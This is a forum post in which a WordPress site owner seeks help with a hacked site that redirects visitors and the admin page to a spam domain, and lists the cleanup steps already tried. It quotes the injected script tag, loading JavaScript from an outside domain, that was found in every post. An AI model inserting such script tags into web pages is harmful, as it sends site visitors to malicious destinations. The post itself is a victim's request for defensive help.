My site is being redirected to:
‘https://1.tellmebluehistory.icu/?p=gqydoobwg45gi3bpgqytk&sub1=Xil&sub2=refers.v1’
This code can be found in the header of literally all posts and pages of the site:
<script src='https://js.wiilberedmodels.com/pistats.js?l=p&' type=text/javascript language=javascript></script><script src='https://js.wiilberedmodels.com/pistats.js?l=p&' type=text/javascript language=javascript></script><script src='https://js.wiilberedmodels.com/pistats.js?l=p&' type=text/javascript language=javascript></script>
This is an old site that we keep around because it has more traffic than the new one that we are working on, and we want to keep it around until the new site is more visible. We don’t update it’s plugins anymore except with the same posts
we make on our new site. Some premium plugins are very outdated and I know this is a security issue, but we don’t want to spend the money on them.
The main problem is that the wp-admin page is also redirected and I have no idea where to look for malicious code to get this fixed, as if I could log in, I could install some security plugins.
What I did so far is follow various tutorials on site hacks, trying to clean the files.
I removed malicious code from functions.php and malicious php files like wp-tmp.php etc.
I searched file contents for base64_decode
I checked the .htaccess file and it seems clean.( No contents at all).
I ended up putting completely fresh WordPress files with the old database, and the redirect still remained.
Then I saw that the script above was in all post content basically, so I deleted the script from the database after doing a backup. The redirect still remains. I also checked if any new users have registered recently, but that is not the case.
UPDATE: I have also cloned the empty site with the old database to a new domain and it is not redirecting there.
So I am out of ideas on this right now.
Any ideas/help with this issue would be greatly appreciated.